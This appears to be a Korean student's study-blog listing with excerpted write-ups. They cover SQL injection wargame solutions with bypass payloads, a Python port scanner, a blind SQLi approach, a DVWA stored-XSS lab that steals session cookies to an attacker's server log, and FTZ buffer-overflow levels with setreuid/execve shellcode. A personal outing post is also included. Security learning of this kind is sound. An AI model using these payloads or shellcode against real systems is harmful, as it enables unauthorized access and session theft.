일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- apollo react native
- graphql with reactnative
- graphql with RN
- 도그존
- apolloclient
- 홍대 예술
- useMutation error
- graphql
- 홍대 토라비
- 잠실새내
- 신촌 소문난집
- 화이트 해커를 위한 웹 해킹의 기술
- 운정 소바동
- 화이트해커를 위한 웹 해킹의 기술
- graphql mutation error
- 지보싶 신촌점
- 고르드
- 예쁜술집 예술
- 홍대 카페 장쌤
- 비동기배열처리방법
- 앙버터마카롱
- typescript
- 토라비
- promise메서드
- promise처리
- 금별맥주
- graphql react native
- 비동기배열
- graphql 400
- 잠실새내 도그존
- Today
- Total
목록분류 전체보기 (151)
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
SELECT id FROM prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0; 위와 같은 SQL 쿼리문이 있다. solve 조건은 id=='admin'이기 때문에 pw에 id='guest'를 거짓으로 만들고 id를 'admin'으로 만드는 쿼리문을 입력해야한다. 하지만 pw 뒤에 1=0이 and 연산으로 더해져 있다. 1=0은 항상 거짓이기 때문에 쿼리문 전체가 거짓이 된다. 따라서 1=0을 없애주어야 하는데, 1=0이 pw 뒤에 위치하기 때문에 pw에 입력할 쿼리문의 마지막에 주석처리를 해주면 pw에 입력한 쿼리문까지만 실행되고 1=0이 주석처리될 것이다. ?pw=1'||id='admin'%23 (%23이 주석처리)
#기본적인 TCP 포트 스캔 import socket ip = "192.168.245.131" #취약한 서버 IP 주소 portNums = list(range(1023)) with open("portScanResult.txt",'w') as f: for portNum in portNums: try: with socket.socket() as s: s.settimeout(2) print("[*] try to connect to {}:{}".format(ip, portNum)) s.connect((ip, portNum)) s.send("Python Connect\n".encode()) banner = s.recv(1024) if banner: f.write("[+] {} port is opened: {}\n..
port (포트) : 프로그램이 네트워크 통신을 위하여 소켓에 부여한 번호 -포트를 열어놓으면 언제든 통신이 가능하지만, 공격자에게 취약점을 노출시킬 수 있다. 포트 스캔 : 정보 수집의 단계로 공격 대상이 어떤 취약점을 가지고 있는지 파악하는 작업을 한다. -실무에서는 공격자들로부터 취약점 노출을 최소화하기 위해 포트 스캔을 정기적으로 사용한다. -사용하지 않는 포트들을 관리하여 불필요한 외부 접촉을 줄일 수 있다. -포트를 스캔한다는 의미는 컴퓨터 내부로 들어갈 수 있는 길을 찾는 것 포트 번호 : 컴퓨터 내에서 프로그램이 소켓을 요청할 때 부여하는 번호 -수많은 소켓들을 관리하기 위해 사용한다. 스캔의 종류 ARP 스캔 ARP 프로토콜을 이용해서 네트워크 대역의 정보를 확인함 같은 네트워크 대역에서..
8번 풀이 (troll) id='admin' 일때 solve가 실행된다. 그런데 admin이 입력되면 HeHe를 출력하면서 solve가 실행되지 못하게 끊어낸다. 또, 작은 따옴표를 사용하지 못하게 해서 쿼리문을 수정할 수는 없다. 따라서 admin을 입력하면 안되는데,,,admin을 입력해야한다... 1번째 preg_match문에 /i는 대소문자를 구분하지 않는다는 뜻이다. 그래서 admin을 Admin으로 입력하면 preg_match에는 걸리지 않지만 id를 불러올 때에는 admin으로 인식한다. 9번 풀이 (vampire) 8번과 굉장히 유사하다. 그런데 이번에는 strtolower이 있어서 Admin이라고 입력해도 모두 소문자로 바꾸어주는 작업을 하기 때문에 같은 방법으로는 우회할 수 없다. 이번..
이번에는 or과 and를 사용하지 못하게 하고 있다. 또, SQL 쿼리문이 2개가 보이는데, 하나는 id='guest'이고, 나머지 하나는 id='admin'이다. pw를 전달하면 1번째 쿼리문을 실행하고 같은 pw 값으로 2번째 쿼리문까지 실행한다. solve는 입력한 pw와 id='admin'의 pw가 같을 때 실행되고 addslashes로 인해 쿼리문은 전달되지 않아 정확한 admin의 pw를 파라미터로 전달해야한다. id가 존재할 때 Hello+id가 화면에 출력되는 것을 이용해 Blind SQL injection 공격을 통해 admin의 pw길이와 pw를 순서대로 알아내보자 우선 admin의 pw 길이를 얻는 코드는 다음과 같다. (python) import string import reques..
실습환경: DVWA-XSS(Stored), kali 리눅스 Stored XSS 실습에는 방명록이 있다. 이름과 메시지를 남길 수 있는 입력란이 있다. Reflected XSS와 마찬가지로 팝업창에 쿠키를 띄우도록 해보자 메시지를 남길 수 있는 칸에 다음과 같은 자바스크립트를 입력해보자 reflected XSS 처럼 팝업창에 쿠키가 나타난다. 하지만 stored XSS에서는 다른 페이지에 갔다가 돌아와도 팝업은 계속해서 띄워진다. 세션 쿠키를 공격자 호스트로 전달하기 Reflected XSS 실습처럼 칼리 리눅스 apache2 서버를 열어 access.log를 모니터링 하는 방식을 사용한다. (tail 명령어 사용) apache2 서버 여는 법은 reflected XSS 에 자세히 나옴 - 2020/10/..
id: level19 pw: swimming in pink 이번에도 hint를 읽어보자 gets 함수에는 BOF 취약점이 존재하니 이를 이용하고 이번에는 setreuid 함수가 존재하지 않는다. 즉 attackme를 실행하고 쉘을 띄워도 level19로만 실행이된다. 따라서 이번에는 setreuid 기능을 포함하고, 쉘을 띄우는 쉘 코드를 이용해야한다. setreuid+ 쉘을 띄우는 쉘 코드(47bytes): \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x3..
id: level18 pw: why did you do it hint를 읽었더니 attackme 파일의 코드가 나왔다. 좀 많이 길어서 주석을 달아보았당 //attackme code #include #include #include #include void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; //구조체 선언 printf("Enter your command: "); fflush(stdout);//표준 출력버퍼 비움 while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef..
5번 풀이 (wolfman) solve 실행 조건은 id='admin' 이다. 따라서 앞의 id='guest' and pw=''를 거짓으로 만들고 뒤에 id='admin'을 or 을 이용해 추가해주면 된다. 그런데 pw에 입력받은 문자 중에서 공백(space)이 있으면 exit 하는 것을 볼 수 있다. 따라서 스페이스를 사용하지 않으면서 쿼리문을 입력해야한다. 그래서 스페이스를 대신하는 tab을 이용했다. (tab=%09) '%09or%09id='admin'%23 입력 tab을 이용하는 것 외에도 or이 아니라 ||를 이용하면 공백 없이도 입력할 수 있다. ('||id='admin'%23) 6번 풀이 (darkelf) 6번도 id='admin'이면 solve가 실행된다. 이번에는 or과 and를 사용하면..
내가 너무너무 사랑하는 도그존을 2달만에 갔다. 왕복 4시간도 견딜 수 있어. 너무 행복한 날이었다. 사람 많을 줄 알았는데 생각보다 사람 많이 없고 도그존 애들은 어린이들을 피해 우리 무릎으로 올라왔기 때문에 여러모로 계 탄 날이었음ㅎㅎㅎ 분명 약속시간은 2시였고. 난 2시에 정확히 내렸는데. 시계를 잘못 본 간장언니가 2시에 출발해버림 ㅎㅎㅎㅎ그래서 기다리는 동안 올리브영에서 크림 새로 샀당 ㅎㅎ (하지만 소비는 여기서 끝나지 않았고...) 경웨스트 언니는 예상한대로 늦게 온다고 했고 ㅎㅎ 40분 기다려서 간장언니랑 먹은 마라샹궈 여기 맛있음 사실 도그존 가는 코스 중 하나임 도그존 갈 때마다 이 코스로 움직이는 듯 ㅎㅎ 나 진짜 항상 삼순이한테 진심... 사랑이 이런걸까... 사람한테도 느껴본 적 ..